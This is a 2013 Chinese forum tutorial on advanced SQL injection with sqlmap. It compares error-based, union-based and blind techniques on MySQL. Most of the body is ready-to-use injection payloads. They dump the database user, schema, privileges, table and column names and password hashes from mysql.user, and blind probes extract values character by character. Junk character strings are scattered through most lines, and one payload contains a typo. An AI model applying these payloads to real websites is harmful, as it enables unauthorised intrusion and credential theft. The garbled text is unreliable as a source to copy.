找回密码
 立即注册
查看: 3419|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
0 G- ]$ P( J6 T/ r& I; {9 j6 O4 U  g
6 E  V- j+ {9 W: J这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表6 z3 k; B# r% q6 \0 _- R# X
8 a- C9 P0 \/ r' Y; P4 d. U7 q
分类标准        分类        备注& D3 B" V5 R- S% U4 K- w
按字段类型        整型注入,字符型注入        4 Y5 D. ^4 i, G: k
按出现的位置        get注入,post注入,cookie注入,http header注入        ) ?, o0 |; |1 u6 j$ I
然而高级注入是这样的
/ D. l* x  i5 ^" f( S6 \* g$ e 6 y2 p0 r% E9 @$ e/ J1 W
高级注入分类        条件2 b4 n3 J2 ^% y4 ~
error-based sql        数据库的错误回显可以返回,存在数据库,表结构
  f3 n  g% T& K5 tunion-based sql        能够使用union,存在数据库,表结构
4 U, V3 y9 E- q9 Sblind sql        存在注入
6 d& ~" q. ]0 S8 e7 d# R我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。, ]! H& e" v  z% s& W! T. h
" T4 i, z9 y7 T0 s3 V& m6 m
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
9 H8 l4 M9 }* q/ Q4 | " O8 K! R" d/ h1 [& O7 R* L* [
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。& z$ O0 _* ]4 Y- J3 u8 A5 t5 p
- t! X) \- X1 G
这里用mysql说明8 K' \. Q( [* A0 n
/ I! B+ c0 Y+ h/ u' B9 i& N3 `
e注入坛子里很多了,请看戳我或者再戳我/ }$ [1 _! X1 w0 J8 [! y% @3 k" p

5 Z: T9 t, g7 Z9 H/ ~" T' `u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
- s7 ^" U6 e- R ' O8 w* r, p9 s
获取当前数据库用户名4 s, x/ U2 j6 \, Y* a! ]

, ?" z$ j# x# p7 b' oUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C. y0 w5 x9 x( {6 m1 I- D2 N8 ~' y
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL  A* Y( V0 H7 l) k, s
L, NULL#
' x, l( }2 m! s. D1 Y注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。% w  ]# L9 `0 ~1 \( f

' ?/ I9 r8 v# k获取数据库名
; I7 D) k: x# N# @   S+ }4 @9 F: [6 K
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#& u6 ^* [! F5 r
获取所有用户名
3 U# z9 t4 q* x8 i% [; l9 a
( j5 ~+ K( z* H" Q. {$ x, eUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#4 o; l, C' h; F9 C/ m
查看当前用户权限
3 R6 y' B5 g; K . _* E4 c+ d9 }2 c
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#  _; E% J; W4 F' h
尝试获取密码,当然需要有能读mysql数据库的权限
0 ~# r  O3 ?' ~ ; `/ s$ ~" t: n% s8 d
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
+ m1 _" c, E; B+ ?9 V, D6 C7 e% ?获取表名,limit什么的自己搞啦4 r8 e( c& n4 b/ o# N$ W
8 x# [8 @  r! Q/ j5 f( U
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#5 U6 y6 d! Z. u- N" V% G  U
获取字段名及其类型0 ^5 z* |+ `. t& ~+ r
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
9 A& Z# n0 j. i4 G( Q
  ^3 Z/ z5 @0 B9 g! E' B4 B. _b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
* \/ l8 j) i8 Q( ]8 j6 b3 B% p ' y. B3 s* h! h) ?' @$ t6 T
如:0 I0 j! z2 K+ i  w. F& n* v  j
获取当前用户名
7 t# h8 [) Z% F' ?* I  z 5 e+ W% ?  E4 \
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
+ J! F$ _% z) X% Y  N, v获取当前数据库
( Y/ Y0 g! u+ b! g/ t& ^) b, [; v
) m/ E  v. T. uAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106: R$ Z, M& {: F* k/ v
获取表名# i: t. K9 Q/ u$ ?7 @5 \
, N: O0 T0 J# n) e; }( Q
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 513 P+ Q3 A$ \: x& r5 s! B
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
  D9 l0 e! |5 a回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。, e- f& z4 q6 J! a6 G: _4 q* b5 n
爆表- J+ Q4 x0 H8 q* z0 [

, e. H" e. [' w; vAND EXISTS(select * from table)+ k0 v1 t5 `  A3 s! }& h9 c) [
爆字段% F( w( ?- F5 N9 O$ t3 j

1 J5 @! n: |3 TAND EXISTS(select pwd from table)
& K4 W3 {! y; J盲注的变化就比较多了,由于篇幅,只是举个例子而已。1 \: n. P) G( K/ Q! F

7 U/ ]& j/ y; E+ F- f: l8 n本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
& k' A* p2 N( A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表